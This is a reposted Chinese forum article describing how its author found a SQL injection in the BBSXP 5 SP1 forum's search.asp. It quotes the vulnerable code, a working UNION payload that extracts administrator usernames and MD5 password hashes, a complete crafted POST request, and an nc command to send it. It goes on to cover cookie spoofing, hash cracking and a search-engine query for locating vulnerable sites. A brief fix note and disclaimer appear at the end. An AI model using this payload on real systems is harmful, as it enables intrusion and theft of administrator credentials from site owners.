发新话题
打印

[转载]找到bbsxp5 sp1漏洞的过程总结

[转载]找到bbsxp5 sp1漏洞的过程总结

文章作者:进城

新版bbsxp注入漏洞再现,可直接得到管理员帐户密码

——
前期杂志有篇文章是关于BBSXP的,用的是Cookie注入攻击,作者真是思路巧妙,可以想到逻辑漏洞。当时看了文章后,学校有事情就没读代码。暑假闲着无事,所以就把最新版的BBSXP下载下来读了一遍。BBSXP确实短小精悍,文件有少又短,不过比起DVBBS无论从功能上还是界面上还是有点差别,不过从漏洞上比还确实无分上下, 经过了3年的测试,还是多少有点瑕疵。

一.漏洞寻找
论坛对字符串输入用HTMLEncode转换,数字类型的用int函数调整,Isnumeric函数判断。很显然查询中有数字和字符串作为值输入的肯定不能利用了。不能做为值输入可以做为什么输入呢?这就是问题的关键。我把每个文件带着这个思路粗略浏览了一遍,用了很长时间才在search.asp(好象以前就有过漏洞,改了原来的却有了新的)找到了漏洞,一起看看代码。
<!-- #include file="setup.asp" -->
<%
top
if Request.Cookies("username")=empty then error("<li>你还未<a href=login.asp>登录</a>社区")
DetectPost
if Request("menu")="ok" then
search=Request("search")
forumid=Request("forumid")
TimeLimit=Request("TimeLimit")
content=HTMLEncode(Request("content"))
searchxm=HTMLEncode(Request("searchxm"))
searchxm2=HTMLEncode(Request("searchxm2"))
searchxm2=replace(searchxm2,"@","&")
if content=empty then content=Request.Cookies("username")
if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and"
if search="author" then
item=""&searchxm&"=&#39;&#39;"&content&"&#39;&#39;"
elseif search="key" then
item=""&searchxm2&" like &#39;&#39;%"&content&"%&#39;&#39;"
end if
if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&""
sql="select top "&MaxSearch&" * from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimitList&" order by lasttime Desc "
rs.Open sql,Conn,1
……


我们仔细研究一下 sql="select top "&MaxSearch …这句,其中MaxSearch是定义好的,默认值为500,剩下3处是从外面输入的。
1.if isnumeric(""&forumid&"") then forumidor="forumid="&forumid&" and"
只要forumid输入为空,那么forumidor就为空.
2.if TimeLimit<>"" then TimeLimitList="and lasttime>"&SqlNowString&"-"&int(TimeLimit)&""
TimeLimit是个整数,随便输入(输入个1),那么TimeLimitList变成" and lasttime>now()-1",在MSSQL中变成" and lasttime>getdate()-1".
3. if search="author" then
item=""&searchxm&"=&#39;&#39;"&content&"&#39;&#39;"
elseif search="key" then
item=""&searchxm2&" like &#39;&#39;%"&content&"%&#39;&#39;"
end if
只要search="author",content随便输入(输个abcd),那么item= HTMLEncode(searchxm)=&#39;abcd&#39;,只要我们构造好输入,通过上面的语句,就把SQL语句变为:

select top 500 * from forum where deltopic<>1 and [ HTMLEncode(searchxm)] =&#39;abcd&#39; and lasttime>now()-1 order by lasttime Desc
用中括号括起来的部分前后都没单引号,显然可以利用了。

先看看 HTMLEncode函数
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=server.htmlencode(fString)
fString=replace(fString,"&#39;&#39;","&#39;")
fString=replace(fString,"--","--")
fString=replace(fString,"\","\")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
过滤了"; &#39; -- \ vbcrlf",还有"< > &"等,其实过滤的也算严密了,程序员也挺难的,过滤多了可能影响使用,少了又会出安全问题。过滤了这么多我们该如何利用呢?大家自然想到了猜测,是一个可行的办法,表的结构也都知道了,也很容易猜的。不过我还是用个简单的办法吧。

二.漏洞利用

还是用本人很熟悉的union查询,对ACCESS和MSSQL都有效。构造过程本人就不写了,直接给大家看结果。
select top 500 * from forum where deltopic<>1 and
forumid=0 union all select top 1 1,1,[user].username as topic,forum.use
rname,content,forum.posttime,forum.postip,1,1,1,1,1,1,1,[user].userpass as lastname,lasttime,polltopic,clubconfig.adminpassword as pollresult,1 from [user],forum,clubconfig where [user].membercode=5 or forum.id=0 or clubconfig.adminpassword

=&#39;abcd&#39; and lasttime>now()-1 order by lasttime Desc

其中有颜色部分是我们要输入的searchxm的值,中间的每个字符HTMLEncode函数都没有过滤到。至于这个语句的含义,就是让union 前面的语句为假,因为forumid不可能为0,union后面只查询出一条记录,其中包含了管理员的用户名和加密密码,还有社区管理的加密密码,懂SQL语句的朋友一看就明白了。其中数字1没有意义,只是为了匹配字段的类型,保证union前后字段数目和类型一致就行了。这里可以任意构造,有兴趣的朋友可以构造自己的查询,我给出的只是一个参考。
构造好了输入语句,还要构造提交。这时就要想到WSE这个经典之作,如果有人认为对HTTP协议已经熟的可以自己写提交字符串,我也应该劝他省省体力和脑力。
[图1]
[图2]
构造的提交如下:
POST /bbsxp/search.asp?menu=ok HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://localhost:8000/bbsxp/search.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)
Host: localhost:8000
Content-Length: 481
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; userpass=E80B5017098950FC58AAD83C8C14978E; username=admin; skins=1; ASPSESSIONIDSSRQSDTB=OGLJMADCECKAFKGCPCCHBKHO; onlinetime=2004%2D8%2D13+20%3A08%3A33; addmin=0

content=fsaf&search=author&searchxm=%20forumid%3D0+union+all+select+top+1+1%2C1%2C%5Buser%5D.username+as+topic%2Cforum.username%2Ccontent%2Cforum.posttime%2Cforum.postip%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C%5Buser%5D.userpass+as+lastname%2Clasttime%2Cpolltopic%2Cclubconfig.adminpassword+
as+pollresult%2C1+from+%5Buser%5D%2Cforum%2Cclubconfig+where+%5Buser%5D.membercode%3D5+or+forum.id%3D0+or+clubconfig.adminpassword&searchxm2=topic&TimeLimit=&forumid=&submit1=%BF%AA%CA%BC%CB%D1%CB%F7

其中searchxm部分我自己写了个HTML页面,用WSE截获就可以获得编码了。
这里有个地方需要注意,就是COOKIE中的username和userpass必须是自己真实的。

把上面的代码保存到记事本中用nc提交
nc –vv host port<post.txt >a.txt
post.txt为提交信息,a.txt用来接受返回数据。
返回如下信息:


<script>ShowForum("1","abcdef","","昨夜长风","1","1","1","1","21232F297A57A5A743894A0E4A801FC3","1","1","67BA892B51

6067544ED15DE74B3DD2DD","2004-7-15 18:45:45");</script>


返回信息中类似上面的结构只有一条,其中abcdef为管理员用户名,两个32位长字符串,前者为abcdef的加密密码,后者为社区管理加密的密码,用的都是MD5加密。
到这里我想大家已经知道怎样利用了。可以利用Cookie欺骗进行前台管理,这要用到IECookiesView,具体过程请看相关教程,在此不再赘述。如果大家有时间可以用MD5CrackV2.2.exe暴力破解后台加密的密码,这个工具确实很实用,8位数字密码几分钟(我的机子)就可以破解了,所以10位数字和8为小写字母都可以强破。
想找BBSXP论坛,可以在Google上输入"Powered by BBSxp 5.00",80%以上网站存在此漏洞。
三 .总结
本人由于书写匆忙,文章有些地方可能需要理解,拙劣之处还请大家见凉,不足之处请指出。写此文章只是给大家抛砖引玉,分享一下自己的经验,也提醒大家寻找漏洞时要把握程序的结构和流程,提醒作者写程序时不因细小而忽略。其实漏洞修补很简单,只要searchxm部分不是用用户输入,而是程序设定就没问题了,也没必要改变HTMLEncode函数。
暑假闲着无事,顺便把漏洞利用程序写了出来,免的象上次一样自己发现的漏洞让别人帮忙写程序。希望大家不用利用漏洞做破坏,一切后果自己负责。
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题